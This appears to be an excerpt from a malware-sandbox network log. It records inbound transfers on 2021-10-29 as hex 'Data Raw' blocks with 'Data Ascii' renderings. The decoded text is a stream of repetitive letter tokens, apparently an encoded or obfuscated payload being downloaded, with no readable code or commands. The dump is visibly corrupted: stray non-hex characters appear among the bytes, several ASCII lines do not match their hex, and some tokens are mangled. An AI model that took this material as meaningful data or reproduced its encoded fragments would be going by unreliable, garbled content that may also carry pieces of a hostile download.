74 20 45 6b 20 6f 4f 6f 20 59 78 20 4f 78 4b 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 20 4b 6b 20
4f 4f 78 20 4b 51 20 4f 6b 59
Data Ascii: Oxk OYo 000 ORK Yx Yk OxR YK kK OOK OOt 0YO OO0 OxE KR 0oE EK OKE OOK OxY YE OOo Yx Kk Y
x ORx kK O0Q OOY Ook Oxx 0ER Kk k OOx kk OOK OOt OxQ 0Ex Yx OQ E 00Q RK OKt OOt EE Kx Yx Kk Yx YK OQ
K OOK oKY KK OYt Ek 000 Yx OxK Oo OOK OOt OxQ OO0 ORK Kk OOx KQ OkY

2021-10-29 18:29:21 UTC 1804 IN Data Raw: 20 6f 4b 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 52 52 20 59 78 20 4f 4b 59 20 4f 78 4b 20 4f 6f 4b
20 51 51 20 45 45 20 4f 4f 45 20 59 78 20 4f 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6f 74 20 4f 78 51 20 4f 74
4b 20 6f 4b 20 45 6b 20 45 52 20 4f 6f 78 20 6b 59 20 6f 4b 4f 20 6f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 52
4b 20 52 6f 20 6f 51 20 4f 78 74 20 4f 78 4b 20 4f 6f 45 20 52 45 20 59 4f 20 4f 6f 6b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f
4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 51 52 20 4b 4f 20 4f 74 20 45 6f 20 6f 74 20 4f 4f 59 20 4f 45 45 20 6f 45 4b 20 4f 4
6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4b 4f 20 4f 78 6b 20 4f 6b 78 20 4f 6f 59 20 51 6b 20 4b 51 20 59 78
20 59 4b 20 6b 4b 20 4f
Data Ascii: oKt OOt OxQ OO0 Yx ORR Yx OKY OxK OoK QQ EE OOE Yx OKE Yx YK kK OOK oot OxQ OtK oK Ek ER
Oox kY oKO oKo OxQ 000 Yx Kk ORK Ro 0Q Oxt OxK OoE RE YO Ook OkO YK kK OOK OOt oYO OOo QR KO Ot Eo
ot OOY OEE oEK OO0 Yx Kk Yx ORx kK KO Oxk Okx OoY Qk KQ Yx YK kK O
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:21 UTC 1808 IN Data Raw: 59 6b 20 6f 6f 52 20 59 6f 20 6f 59 59 20 6b 4b 20 6f 4b 51 20 4f 4f 52 20 4f 74 4b 20 6f 78 51 20 59 78 20 4b
6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 74 59 20 4f 78 74 20 51 52 20 59 78 20 4f 6b 74 20 59 4f 20 6f 59 78 20
6f 4b 59 20 4f Af 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 4f 45 59 20 52 6f 20 6f 6f 51 20 4f 78 78 20
6f 4b 51 20 4f 78 6b 20 4f 52 4b 20 4f 4b 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 6f 78 6b 20 4f
6f 78 20 4f 45 74 20 45 6b 20 4f 51 78 20 59 59 20 4f 45 74 20 6f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b
6f 20 59 6b 20 4f 78 20 51 59 20 4f 6b 78 20 51 51 20 6f 6f 4b 20 4f 4f 45 20 6f 4f 59 20 4f 4b 59 20 59 78 20 59 4b 20 6b
4b 20 4f 4f 4b 20 6f 4b 45 20 4f
Data Ascii: Yk 00R Yo oYY kK oKQ OOR OtK oxQ Yx Kk Yx YK 0Ox Ooo OtY Oxt QR Yx Okt YO oYx oKY OOK OOt OxQ
000 Okx YR OEY Ro 00Q Oxx oKQ Oxk ORK OKt Kk Yx YK kK oKK OoY oxk Oox OEt Ek OQx YY OEt 00O OOt OxQ
000 Yx Oko Yk Ox QY Okx QQ ooK OOE 00Y OKY Yx YK kK OOK oKE O

2021-10-29 18:29:21 UTC 1812 IN Data Raw: 20 59 6b 20 4f 78 4f 20 45 59 20 4f 6f 74 20 6b 4f 20 6f 4f 74 20 4f 4f 52 20 6f 6f 4f 20 6f 4f 45 20 59 78 20 4b
6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 6b 6b 20 4f 6f 4b 20 4f 78 74 20 59 78 20 4f 59 52 20 59 4f 20 4f 4b 6f 20
6f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 6f 6f 74 20 45 51 20 6f 51 20 4f 4f 51 20 6f 4f
74 20 4f 78 6b 20 4f 74 74 20 4f 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 4f 4f 59 20 4f 4f 6f 20
4f 74 45 20 45 74 20 4f 59 51 20 59 59 20 4f 59 74 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59
6b 20 4f 74 20 6b 4b 20 6f 4f 45 20 51 52 20 4f 51 6f 20 4f 4f 45 20 6f 6f 4b 20 4f 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f
4b 20 6f 4b 45 20
Data Ascii: Yk OxO EY Oot kO 00t OOR 000 00E Yx Kk Yx YK 00x Ooo Okk OoK Oxt Yx OYR YO OKo oKO OOK OOt
OxQ OO0 Okx YR oot EQ 0Q OOQ 00t Oxk Ott OYO Kk Yx YK kK oKK OoY OOY OOo OtE Et OYQ YY OYt 00Y OOt
OxQ 000 Yx Oko Yk Ot kK 0OE QR OQo OOE 00K OKQ Yx YK kK OOK oKE

2021-10-29 18:29:21 UTC 1816 IN Data Raw: 4b 20 4f 6f 59 20 6f 4f 52 20 4f 6f 78 20 6f 59 4f 20 4b 6b 20 6f 6f 59 20 59 59 20 74 6b 20 6f 4f 51 20 4f 4f 74
20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 45 51 20 51 6f 20 51 6b 20 4f 4f 74 20 4f 51 78 20 4f 4f 45 20 4f
74 20 4f 59 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 74 52 20 59 74 20 6f 4b 51 20 59 78 20 6f
6f 52 20 6b 59 20 6b 51 20 6f 6f 78 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 52 20 4f 6f 4f 20 4f
78 4f 20 4f 78 51 20 4f 52 4b 20 59 4f 20 4b 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20
6f 45 59 20 52 78 20 6f 59 4f 20 59 4b 20 4f 6f 51 20 4f 4f 59 20 74 45 20 4f 51 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78
20 4f 74 52 20 51 6f 20 4f
Data Ascii: K OoY 0OR Oox 0YO Kk 00Y YY tk 00Q OOt OxQ OO0 Yx Oko Yk OEQ Qo Qk OOt OQx OOE Ot OYE Yx
YK kK OOK oKE OxO tR Yt 0KQ Yx 00R kY kQ 0ox OxQ OO0 Yx Kk Okx Ro OR 00O OxO OxQ ORK YO K OYY YK kK
OOK OOt 0EY Oox 0EY Rx 0YO YK O0oQ OOY tE OQR OO0 Yx Kk Yx OtR Qo O

2021-10-29 18:29:21 UTC 1820 IN Data Raw: 4b 6b 20 59 78 20 4f 6b 4f 20 6b 4b 20 4f 6f 45 20 4f 4f 51 20 4f 51 59 20 4f 78 4b 20 4f 78 6b 20 59 78 20 74
59 20 4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 45 20 59 78 20 51 6b 20 4b 6b 20 6f 6f 4f 20 52 74 20
4b 59 20 4f 4f 51 20 6f 45 52 20 6f 4f 51 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 78 52 20 6f 59 4f 20 6b 51
20 4f 4f 74 20 59 78 20 6b 78 20 4b 6b 20 4f 59 78 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 4f 4f 20
4b 51 20 4f 45 4f 20 6f 4f 20 6b 59 20 4f 4f 4b 20 6f 78 20 4f 4f 4f 20 6f 4f 6f 20 4f 59 45 20 4b 6b 20 59 78 20 59 4b 20 6b
4b 20 4f 4b 74 20 4f 4f 52 20 4f 52 4f 20 4b 6b 20 4b 4f 20 4b 6b 20 6b 45 20 59 6f 20 4b 20 6f 6f 45 20 4f 4f 74 20 4f 78 51
20 4f 4f 6f 20 59 78 20 6f 78
Data Ascii: Kk Yx OkO kK OoE OOQ OQY OxK Oxk Yx tY OYt kk OOK OOt OxQ oKE Yx Qk Kk 000 Rt KY OOQ oER
00Q Yx Kk Yx YK 00x OxR 0YO kQ OOt Yx kx Kk OYx oYY OOK OOt OxQ OO0 000 KQ OEO 00 kY OOK ox OO0
000 OYE Kk Yx YK kK OKt OOR ORO Kk KO Kk kE Yo K 00E OOt OxQ OO0 Yx 0x

2021-10-29 18:29:21 UTC 1824 IN Data Raw: 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20
74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f
78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f
4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20
59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59
4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20
4f 78 51 20 4f 4f 4b 20 59 78 20 4f
Data Ascii: Ot OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE
OO0t to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx
OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx O

2021-10-29 18:29:21 UTC 1828 IN Data Raw: 20 4f 4f 74 20 74 4b 20 6b 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 45 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f
4f 45 20 59 78 20 4b 59 20 4f 52 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 59 6f 20 4b 51 20 59 78 20 4b 6b 20 59 4f 20
59 4b 20 6f 78 45 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20
Af 4f 74 20 59 6b 20 59 4f 20 45 4b 20 45 6f 20 4b 6b 20 59 4b 20 6f 45 74 20 6b 51 20 4f 78 4f 20 4f 6f 59 20 4f 4f 59 20
59 78 20 6f 4b 6f 20 6f 59 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 52 6b 20 74 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b
20 6f 59 6f 20 51 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 59 6f 20 6f 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f
74 20 4f 51 74 20 6b 51 20 59
Data Ascii: OOt tK kO Yx Kk YO YK E OOk OOt OxQ OOE Yx KY OR YK kK OO0 OOt Yo KQ Yx Kk YO YK oxE Kk OOt
OxQ OOK Yx O0Q 00 YK kK OOY OOt Yk YO EK Eo Kk YK oEt kQ OxO OoY OOY Yx oKo oY YK kK OOk OOt Rk tO
Yx Kk YO YK oYo QO OOt OxQ OOE Yx OYo ot YK kk OOY OOt OQt kQ Y

2021-10-29 18:29:21 UTC 1832 IN Data Raw: 59 78 20 4f 4f 51 20 4f 4f 6f 20 59 4b 20 4f 4f 52 20 4f 4f 45 20 4f 4f 74 20 6f 78 45 20 6b 6f 20 4b 6b 20 4b 6b
20 59 4b 20 59 4b 20 51 6b 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 74 20 59 78 20 4f 45 20 4f 59 20 59 4b 20 6b 4b 20 4f
4f 52 20 4f 4f 74 20 51 6f 20 74 74 20 59 78 20 4b 6b 20 59 45 20 59 4b 20 6f 4b 6b 20 59 78 20 4f 4f 74 20 4f 78 51 20 4f
6f 78 20 59 78 20 4f 4b 6b 20 4f 4f 4b 20 59 4b 20 6b 4b 20 4f 6f 45 20 4f 4f 74 20 6f 4b 4b 20 74 6f 20 59 78 20 4b 6b 20
59 52 20 59 4b 20 4f 59 6b 20 6b 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6f 4f 20 4f 59 20 59 6f 20 6b 4b 20 4f
4f 59 20 4f 4f 74 20 51 4f 20 59 78 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 4f 4f 45 20 74 52 20 4f 4f 74 20 4f 78 51 20 4f
4f 45 20 59 78 20 4f 6f 4f 20 4f
Data Ascii: Yx O0Q OO0 YK OOR OOE OOt oxE ko Kk Kk YK YK Qk Kk OOt OxQ OOt Yx OE OY YK kK OOR OOt Qo tt
Yx Kk YE YK oKk Yx OOt OxQ Oox Yx OKk OOK YK kK OoE OOt oKK to Yx Kk YR YK OYk kk OOt OxQ OoE Yx OoO
QY Yo kK OOY OO0t QO Yx Yx Kk Kk YK OOE tR OOt OxQ OOE Yx 000 O

2021-10-29 18:29:21 UTC 1836 IN Data Raw: 20 6f 59 6f 20 4f 4f 52 20 51 51 20 4b 6b 20 59 59 20 45 4f 20 4f 59 74 20 4f 4f 4b 20 4f 51 52 20 4f 4f 78 20 6f
59 4b 20 52 20 45 6f 20 59 78 20 4f 4b 45 20 6b 74 20 45 6b 20 4b 51 20 6f 78 74 20 4f 4f 52 20 6f 59 4f 20 59 4f 20 4f 6b
6b 20 6f 20 6f 59 45 20 4f 4f 6b 20 4f 52 4f 20 4f 78 51 20 6f 59 4b 20 52 20 6f 4b 78 20 59 4b 20 6f 45 51 20 6b 74 20 45
51 20 74 52 20 4f 52 74 20 4f 4f 52 20 6f 4f 4f 20 59 4f 20 6f 4f 52 20 6f 4f 20 4f 45 6f 20 4f 4f 6b 20 4f 59 52 20 4f 4f 78 20
4b 74 20 45 4f 20 6f 45 78 20 59 4b 20 4f 51 51 20 6b 74 20 6f 6b 20 4f 78 52 20 4f 74 74 20 4f 4f 52 20 6f 45 78 20 4b 6b
20 4f 51 78 20 6f 51 20 4f 4f 59 20 4f 4f 4b 20 4f 4f 52 20 4f 78 6b 20 6f 59 4b 20 52 20 6f 4f 4f 20 59 4b 20 45 51 20 6b 59
20 74 20 52 6b 20 4f 45 59
Data Ascii: 0Yo OOR QQ Kk YY EO OYt OOK OQR OOx oYK R Eo Yx OKE kt Ek KQ oxt OOR oYO YO Okk o oYE OOk
ORO OxQ oYK R oKx YK 0EQ kt EQ tR ORt OOR 000 YO 0OR 00 OEo OOk OYR OOx Kt EO oEx YK OQQ kt ok OxR
Ott OOR oEx Kk OQx 0Q OOY OOK OOR Oxk oYK R 000 YK EQ kY t Rk OEY
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2021-10-29 18:29:21 UTC 1840 IN Data Raw: 78 45 20 4f 6f 74 20 51 6f 20 4f 4f 4f 20 4f 74 59 20 4f 4f 6f 20 51 20 52 45 20 45 4f 20 6b 52 20 4f 52 4f 20 51
59 20 6b 6f 20 4f 6f 59 20 4f 4f 59 20 59 45 20 51 52 20 4f 6b 20 4b 20 4f 6f 74 20 59 6f 20 4f 78 4b 20 52 78 20 4f 4f 4b 20
59 45 20 59 78 20 4f 4f 51 20 6b 4f 20 6f 45 74 20 6b 52 20 59 6b 20 4f 6 59 20 4f 6f 45 20 59 45 20 6f 4f 20 6f 52 20 51
20 4f 6f 74 20 4f 51 52 20 4f 78 6b 20 6f 59 4b 20 52 20 6b 45 20 52 45 20 4f 78 45 20 6b 74 20 6f 59 4b 20 74 78 20 74
20 4f 6f 59 20 51 51 20 59 45 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 45 52 20 4f 78 4b 20 6f 4b 6f 20 6f 4f 20 52 6b 20
52 45 20 4f 78 45 20 6b 4f 20 6f 78 74 20 6b 6f 20 6f 59 20 4f 6f 59 20 4f 78 74 20 59 45 20 4b 4f 20 4f 4b 20 4b 59 20 4f 61
74 20 52 78 20 4f 4f 4f 20 6f 4b
Data Ascii: XE Oot Qo OO0 OtY OO0 Q RE EO kR ORO QY ko OoY OOY YE QR Ok K Oot Yo OxK Rx OOK YE Yx O0Q
kO oEt kR Yk OoY OoE YE 00 oR Q Oot OQR Oxk oYK R kE RE OXE kt oYK tx t OoY QQ YE Okk o kY OOK ER OxK
oKo 00 Rk RE OxE kO oxt ko oY OoY Oxt YE KO OK KY Oot Rx OO0 oK

2021-10-29 18:29:21 UTC 1844 IN Data Raw: 6f 45 20 6b 6f 20 4f 51 45 20 4f 4f 74 20 4f 51 20 4f 78 52 20 59 4f 20 59 59 20 4f 4f 45 20 59 4b 20 4f 52 6f 20
4f 6f 59 20 4f 6f 4b 20 4f 78 52 20 4f 51 59 20 59 78 20 4f 51 78 20 4b 78 20 6f 45 20 6b 45 20 4b 51 20 4f 4f 74 20 4f 59
59 20 4f 6f 74 20 6f 74 20 59 59 20 4f 6f 51 20 59 4b 20 6f 78 6f 20 4f 78 4b 20 59 6f 20 4f 78 52 20 59 4f 20 59 78 20 4f 51
6b 20 52 4f 20 4f 4f 74 20 6b 45 20 6f 78 51 20 4f 4f 74 20 4f 59 45 20 4f 78 51 20 4f 6f 45 20 59 59 20 4f 6f 51 20 59 4b 20
6f 59 78 20 4f 78 4b 20 6f 78 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6b 59 20 6b 45 20 6f 78 51 20 4f 4f 74
20 4f 4f 45 20 4f 4f 78 20 51 4f 20 59 59 20 4f 6f 51 20 59 4b 20 6f 45 4b 20 4f 78 4b 20 6f 4b 4b 20 4f 78 52 20 59 4f 20
59 78 20 4f 51 6b 20 52 4f 20
Data Ascii: oE ko OQE OOt OQ OxR YO YY OOE YK ORo OoY OoK OxR OQY Yx OQx Kx oE kE KQ OOt OYY Oot ot YY
00Q YK oxo OxK Yo OxR YO Yx OQk RO OOt kE oxQ OOt OYE OxQ OoE YY 0oQ YK o0Yx OxK ox OxR YO Yx OQk
RO kY kE 0xQ OOt OOE OOx QO YY 00Q YK oEK OxK oKK OxR YO Yx OQk RO

2021-10-29 18:29:21 UTC 1849 IN Data Raw: 4f 4f 74 20 59 51 20 4f 78 74 20 4f 74 6b 20 4f 6b 20 6f 4b 4f 20 59 4b 20 59 4f 20 4f 78 59 20 6f 4f 45 20 74 51
20 4f 74 51 20 59 78 20 74 6f 20 4b 4f 20 4f 4b 52 20 4f 4f 6b 20 45 45 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 4b 6f 20 4f
6b 20 6f 4b 4f 20 59 4b 20 6f 6f 4f 20 4f 78 59 20 4f 4b 51 20 74 51 20 4f 74 51 20 59 78 20 4f 74 78 20 4b 4f 20 59 4b 20
4f 4f 51 20 4f 74 74 20 4f 4F 74 20 4f 51 6b 20 4f 78 74 20 4f 6b 20 4f 51 20 6f 4b 4f 20 59 4b 20 6f 45 6f 20 4f 78 59 20 6b
4§ 20 74 6b 20 45 59 20 59 78 20 4f 51 6b 20 52 4f 20 4f 4f 6b 20 4f 4f 51 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6 74 20 6b
6f 20 4f 51 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6f 4b 59 20 74 6b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 59
78 20 4f 4f 51 20 4b 51
Data Ascii: OOt YQ Oxt Otk Ok 0KO YK YO OxY 0OE tQ OtQ Yx to KO OKR OOk EE OOt OYY Oot 0Ko Ok 0KO YK 000
OxY OKQ tQ OtQ Yx Otx KO YK 00Q Ott 00t OQk Oxt Ok OQ 0KO YK 0Eo OxY kO tk EY Yx OQk RO OOk 00Q KQ
0Ot OYY Oot ko OQ OOE YK ORo OoY oKY tk YO Yx OQk RO OYx 00Q KQ

2021-10-29 18:29:21 UTC 1853 IN Data Raw: 78 20 52 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 51 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 45 4b 20 4b 6b 20 59 78
20 59 4b 20 59 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 51 6b 20 59 78 20 4b 6b 20 59 78 20 6b 59 20 6b 4b 20 4f 4f 59 20
Af 4f 74 20 Af 6f 4f 20 4f 4f 6f 20 59 78 20 4b 6b 20 6b 52 20 59 4b 20 6b 59 20 4f 4f 4b 20 51 51 20 4f 78 51 20 4f 4f 6f 20
59 78 20 6b 59 20 59 78 20 59 59 20 6b 4b 20 4f 78 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6b 4b 20 4b 6b 20 59 4f 20 59
4b 20 74 6f 20 4f Af 4b 20 4f 4f 74 20 4f 78 51 20 6f 45 20 59 78 20 4b 51 20 59 78 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 4f
74 20 59 20 4f 4f 6f 20 59 4f 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f
6f 20 59 78 20 59 4b 20 6b 4b 20
Data Ascii: X Ro Yx YK kk OQ OOt Oxk OO0 EK Kk Yx YK YK OOK OOR OxQ Qk Yx Kk Yx kY kk OOY OOt 00O OO0
Yx Kk kR YK kY OOK QQ OxQ OO0 Yx kY Yx YY kK OxR OOt OxQ OO0 kK Kk YO YK to OOK OOt OxQ oE Yx KQ Yx
Kx kK OOK OO0t Y 000 YO Kk Ok YK kK OOK ok OxQ OOE Yx 00 Yx YK kK

2021-10-29 18:29:21 UTC 1857 IN Data Raw: 4f 4f 4f 20 4f 4f 6f 20 6f 78 59 20 4b 6b 20 4b 59 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 4f
2059 78 20 59 78 20 59 78 20 4b 4b 20 6b 59 20 6b 45 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 4b 4f 20 4b 51 20 4f 51 20 59
4b 20 6b 52 20 4f 4f 4b 20 4f 78 59 20 4f 78 6b 20 6b 45 20 59 78 20 4b 51 20 59 78 20 4b 45 20 6b 59 20 6b 4f 20 4f 4f 74
20 4f Af 4f 20 4f 4f 6f 20 4b 59 20 4b 51 20 6f 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 6b 59 20 4f 78 6b 20 6b 59 20 59 78 20
59 78 20 59 78 20 6f 45 20 6b 59 20 6b 59 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 4f 52 20 4b 51 20 6f 4f 20 59 4b 20 6b 52 2
0 4f 4f 4b 20 6b 52 20 4f 78 6b 20 6b 51 20 59 78 20 4b 51 20 59 78 20 4f 6b 20 6b 59 20 51 4f 20 4f 4f 74 20 4f 4f 4f 20 4f
4f 6f 20 6f 45 20 4b 51 20 6f
Data Ascii: OO0 OO0 oxY Kk KY YK kY OOK OOt Oxk OO0 Yx Yx Yx KK kY kE OOt Oxk OO0 KO KQ OQ YK kR OOK
OxY Oxk kE Yx KQ Yx KE kY kO OOt OO0 OO0 KY KQ oE YK kY OOK kY Oxk kY Yx Yx Yx oE kY kY OOt Oxk OO0 OR
KQ 00 YK kR OOK kR Oxk kQ Yx KQ Yx Ok kY QO OOt OO0 OO0 oE KQ o

2021-10-29 18:29:21 UTC 1860 IN Data Raw: 4f 78 6b 20 6f 78 4f 20 59 78 20 4b 51 20 59 78 20 6f 4b 45 20 6b 59 20 6f 78 45 20 4f 4f 74 20 4f 4f 4f 20 4f 4f
6f 20 6f 4b 4b 20 4b 51 20 4f 45 74 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 74 6b 20 4f 78 6b 20 6f 78 45 20 59 78 20 59 78 20
59 78 20 6f 59 4b 20 6b 59 20 6f 78 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 59 4f 20 4b 51 20 4f 4b 45 20 59 4b 20 6b
52 20 4f 4f 4b 20 4f 51 4f 20 4f 78 6b 20 6f 78 74 20 59 78 20 4b 51 20 59 78 20 6f 59 45 20 6b 59 20 6f 78 59 20 4f 4f 74
20 4f 4f 4f 20 4f 4f 6f 20 6f 59 4b 20 4b 51 20 6f 4b 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 6b 4b 20 4f 78 6b 20 4f 74 74 20
59 78 20 59 78 20 59 78 20 6f 4b 6b 20 6b 59 20 4f 74 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 59 45 20 4b 51 20 6f 4b
4f 20 59 4b 20 6b 52 20 4f 4f 4b
Data Ascii: Oxk 0xO Yx KQ Yx oKE kY oxE OOt OO0 OO0 oKK KQ OEt YK kY OOK Otk Oxk oxE Yx Yx Yx oYK KY oxt
OO0t Oxk OO0 0YO KQ OKE YK kR OOK OQO Oxk oxt Yx KQ Yx oYE kY oxY OOt OO0 OO0 oYK KQ oKE YK kY OOK
OkK Oxk Oftt Yx Yx Yx oKk kY Ott OOt Oxk OO0 oYE KQ oKO YK kR OOK

2021-10-29 18:29:21 UTC 1864 IN Data Raw: 20 52 6f 20 4b 6b 20 51 74 20 59 4b 20 6b 51 20 4f 4f 4b 20 45 45 20 4f 78 51 20 4f 6f 59 20 59 78 20 4f 78 4f
20 59 78 20 45 59 20 6b 4b 20 45 52 20 4f 4f 74 20 4f 6f 6f 20 4f 4f 6f 20 4f 78 4f 20 4b 6b 20 4f 51 20 59 4b 20 4f 6f 20 4f
4f 4b 20 6b 74 20 4f 78 51 20 4b 4f 20 59 78 20 4f 6b 20 59 78 20 4f 78 6b 20 6b 4b 20 6b 52 20 4f 4f 74 20 59 4b 20 4f 4f
6f 20 6f 6f 20 4b 6b 20 4f 4f 78 20 59 4b 20 4f 4f 45 20 4f 4f 4b 20 4b 78 20 4f 78 51 20 6b 74 20 59 78 20 4f 4f 78 20 59 78
20 4f 4f 59 20 6b 4b 20 4b 59 20 4f 4f 74 20 4b 78 20 4f 4f 6f 20 6b 6f 20 4b 6b 20 4f 4f 51 20 59 4b 20 59 45 20 4f 4f 4b 2
0 4b 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4f 4f 74 20 59 78 20 6b 59 20 6b 4b 20 59 59 20 4f 4f 74 20 51 20 4f 4f 6f 20 4f 4f
51 20 4b 6b 20 6b 74 20 59 4b
Data Ascii: Ro Kk Qt YK kQ OOK EE OxQ OoY Yx OxO Yx EY kK ER OOt Ooo OO0 OxO Kk OQ YK Oo OOK kt OxQ KO
Yx Ok Yx Oxk kK kR OOt YK OO0 00 Kk OOx YK OOE OOK Kx OxQ kt Yx OOx Yx OOY kK KY OOt Kx OO0 ko Kk 00Q
YK YE OOK Kk OxQ Ok Yx OOt Yx kY kK YY OOt Q OO0 OOQ Kk kt YK

2021-10-29 18:29:21 UTC 1875 IN Data Raw: 74 20 51 74 20 52 6b 20 6b 45 20 52 52 20 52 4f 20 4f 74 20 59 6f 20 45 4f 20 6f 20 6b 45 20 74 45 20 4f 6f 45
20 6b 6b 20 52 4f 20 52 20 45 45 20 6f 78 20 78 20 6b 74 20 51 51 20 51 4f 20 74 52 20 4b 51 20 74 51 20 52 6b 20 51 4f
20 4f 4f 6f 20 6b 59 20 6b 59 20 74 78 20 4f 78 59 20 6f 51 20 6f 6f 20 52 6b 20 51 4f 20 4f 4f 6f 20 52 59 20 6b 59 20 74
78 20 4f 78 59 20 6f 51 20 6f 6f 20 52 6b 20 51 4f 20 4f 4f 6f 20 4f 4f 51 20 51 4b 20 74 78 20 51 59 20 45 6f 20 4f 4f 20 52
6b 20 51 4f 20 4f 4f 6f 20 52 20 4f 20 6f 20 4f 4f 4b 20 51 74 20 74 4f 20 52 6b 20 4b 74 20 59 4b 20 4f 4f 20 4f 4f 52 20 4f
4f 45 20 74 20 4f 6b 20 52 52 20 59 4b 20 4b 45 20 52 52 20 4b 20 6f 20 4f 4f 51 20 6f 20 4f 52 20 4b 6b 20 52 6b 20 51
45 20 74 4f 20 59 20 74 20 4f 4f 20 45
Data Ascii: t Qt Rk kKE RR RO Ot Yo EO o kE tE OoE kk RO R EE ox x kt QQ QO tR KQ tQ Rk QO OO0 kY kY tx OxY o0Q
00 Rk QO 000 RY kY tx OxY 0Q oo Rk QO OO0 O0Q QK tx QY Eo OO Rk QO OO0 R O 0 OOK Qt tO Rk Kt YK OO O
